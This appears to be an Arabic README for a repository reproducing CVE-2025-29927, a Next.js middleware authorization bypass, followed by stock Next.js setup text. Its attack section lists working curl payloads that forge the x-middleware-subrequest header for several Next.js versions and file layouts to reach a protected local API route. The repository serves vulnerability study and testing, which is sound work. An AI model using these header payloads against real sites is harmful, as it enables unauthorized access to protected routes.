
إعادة إنتاج CVE-2025-29927 تجاوز التفويض في برمجيات Next.js الوسيطة، مع حمولات استغلال قائمة على curl لإصدارات متعددة.
هذا المستودع هو إعادة إنتاج لثغرة CVE-2025-29927 في حزمة next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 مرات داخل الترويسة الخاصة x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
اعتادت إصدارات Next.js 12 و13 استخدام اصطلاح تسمية مختلف لملف الوسيط (_middleware.js)، والذي تم تغييره إلى middleware.js في Next.js 14. يمكن استغلال هذه الثغرة في الإصدارات الأقدم باستخدام ملف _middleware.js.
على سبيل المثال، ستنطبق الحمولات التالية اعتمادًا على إصدار Next.js واصطلاح التوجيه لديك:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (لإصدارات Next.js 12.2 مع ملف middleware.js في جذر التطبيق، وليس داخل دليل pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (لإصدارات Next.js 11 وحتى 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloأولاً، قم بتشغيل خادم التطوير:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
افتح http://localhost:3000 في متصفحك لرؤية النتيجة.
يمكنك البدء في تحرير الصفحة عن طريق تعديل app/page.js. يتم تحديث الصفحة تلقائيًا أثناء تحرير الملف.
يستخدم هذا المشروع next/font لتحسين وتحميل Geist تلقائيًا، وهي عائلة خطوط جديدة لـ Vercel.
لمعرفة المزيد عن Next.js، ألق نظرة على الموارد التالية:
يمكنك الاطلاع على مستودع Next.js على GitHub - ملاحظاتك ومساهماتك مرحب بها!
أسهل طريقة لنشر تطبيق Next.js الخاص بك هي استخدام منصة Vercel من منشئي Next.js.
راجع توثيق نشر Next.js لمزيد من التفاصيل.